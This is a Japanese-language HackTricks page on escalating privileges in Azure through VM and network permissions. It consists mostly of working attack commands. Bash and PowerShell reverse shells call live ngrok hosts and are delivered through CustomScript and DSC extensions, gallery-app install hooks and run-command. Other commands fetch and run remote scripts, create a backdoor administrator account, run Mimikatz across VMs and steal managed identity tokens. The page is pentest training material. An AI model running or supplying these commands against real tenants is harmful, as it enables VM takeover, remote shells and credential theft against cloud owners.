# Az - Virtual Machines & Network Privesc

{{#include ../../../banners/hacktricks-training.md}}

## VMS & Network

Azure Virtual Machines と Network に関する詳細情報は、以下を確認してください：

{{#ref}}
../az-services/vms/
{{#endref}}

### **`Microsoft.Compute/virtualMachines/extensions/write`**

この権限は、仮想マシンで拡張機能を実行することを許可し、**任意のコードを実行することを可能にします**。\
VM内で任意のコマンドを実行するためにカスタム拡張機能を悪用する例：

{{#tabs }}
{{#tab name="Linux" }}

- リバースシェルを実行する
```bash
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```
- インターネット上にあるスクリプトを実行する
```bash
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
```
{{#endtab }}

{{#tab name="Windows" }}

- リバースシェルを実行する
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Execute it
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{}' \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand  "}'

```
- ファイルからリバースシェルを実行する
```bash
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
他のペイロードを実行することもできます: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`

- VMAccess拡張機能を使用してパスワードをリセットする
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```
{{#endtab }}
{{#endtabs }}

よく知られた拡張機能を悪用して、VM内でコードを実行したり特権アクションを実行することも可能です：

<details>

<summary>VMAccess 拡張機能</summary>

この拡張機能は、Windows VM内のユーザーのパスワードを変更する（または存在しない場合は作成する）ことを可能にします。
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```
</details>

<details>

<summary>DesiredConfigurationState (DSC)</summary>

これは、Azure Windows VMの構成を管理するためにPowerShell DSCを使用するMicrosoftに属する**VM拡張**です。したがって、この拡張を通じてWindows VMで**任意のコマンドを実行**するために使用できます：
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
```
</details>

<details>

<summary>ハイブリッドランブックワーカー</summary>

これは、オートメーションアカウントからVM内でランブックを実行することを可能にするVM拡張機能です。詳細については、[Automation Accounts service](../az-services/az-automation-account/index.html)を確認してください。

</details>

### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`

これらは、**新しいギャラリーアプリケーションを作成し、VM内で実行するために必要な権限**です。ギャラリーアプリケーションは何でも実行できるため、攻撃者はこれを悪用して任意のコマンドを実行するVMインスタンスを侵害する可能性があります。

最後の2つの権限は、アプリケーションをテナントと共有することで回避できるかもしれません。

任意のコマンドを実行するための悪用例：

{{#tabs }}
{{#tab name="Linux" }}
```bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
```
{{#endtab }}

{{#tab name="Windows" }}
```bash
# Create gallery (if the isn't any)
az sig create --resource-group <rsc-group> \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Windows \
--location "West US 2"

# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand=" "
az sig gallery-application version create \
--version-name 1.0.0 \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
--update-command "powershell.exe -EncodedCommand $encodedCommand"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name deleteme-win4 \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
--treat-deployment-as-failure true
```
{{#endtab }}
{{#endtabs }}

### `Microsoft.Compute/virtualMachines/runCommand/action`

これは、Azureが提供する最も基本的なメカニズムであり、**VM内で任意のコマンドを実行することができます：**

{{#tabs }}
{{#tab name="Linux" }}
```bash
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
```
{{#endtab }}

{{#tab name="Windows" }}
```bash
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
# Execute a rev shell
az vm run-command invoke \
--resource-group Research \
--name juastavm \
--command-id RunPowerShellScript \
--scripts @revshell.ps1

## Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

## Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand=" "

# The content of
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1


# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
```
{{#endtab }}
{{#endtabs }}

### `Microsoft.Compute/virtualMachines/login/action`

この権限は、ユーザーが**VMにSSHまたはRDPを介してログインする**ことを許可します（VMでEntra ID認証が有効になっている限り）。

**SSH**を介して**`az ssh vm --name <vm-name> --resource-group <rsc-group>`**でログインし、**RDP**を介して**通常のAzure資格情報**でログインします。

### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`

この権限は、ユーザーが**VMにSSHまたはRDPを介してログインする**ことを許可します（VMでEntra ID認証が有効になっている限り）。

**SSH**を介して**`az ssh vm --name <vm-name> --resource-group <rsc-group>`**でログインし、**RDP**を介して**通常のAzure資格情報**でログインします。

### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

これらはすべて、**特定の管理されたIDを持つVMを作成し、**ポートを開いたままにする**ために必要な権限です（この場合は22）。これにより、ユーザーはVMを作成し、それに接続して**管理されたIDトークンを盗む**ことで権限を昇格させることができます。

状況に応じて、この技術を悪用するために必要な権限は多い場合も少ない場合もあります。
```bash
az vm create \
--resource-group Resource_Group_1 \
--name cli_vm \
--image Ubuntu2204 \
--admin-username azureuser \
--generate-ssh-keys \
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
--nsg-rule ssh \
--location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)
```
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

これらの権限は、**VMに新しいマネージドアイデンティティを割り当てる**のに十分です。VMは複数のマネージドアイデンティティを持つことができます。**システム割り当てのもの**と、**多くのユーザー管理のアイデンティティ**を持つことができます。\
その後、メタデータサービスから各アイデンティティのトークンを生成することが可能です。
```bash
# Get currently assigned managed identities to the VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Assign several managed identities to a VM
az vm identity assign \
--resource-group <rsc-group> \
--name <vm-name> \
--identities \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
```
攻撃者は、**何らかの方法でVMを侵害する必要があります**。割り当てられた管理アイデンティティからトークンを盗むためです。**詳細は**ご確認ください：

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}

### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write

これらの権限により、仮想マシンのユーザーとパスワードを変更してアクセスすることができます：
```bash
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>
```
### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".

これらの権限により、ディスクやネットワークインターフェイスを管理でき、ディスクを仮想マシンに接続することが可能になります。
```bash
# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll

# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>
```
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action

[**ドキュメント**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute)によると、この権限は管理者としてWindows Admin Centerを介してリソースのOSを管理することを可能にします。したがって、これはVMを制御するためのWACへのアクセスを提供するようです...

{{#include ../../../banners/hacktricks-training.md}}
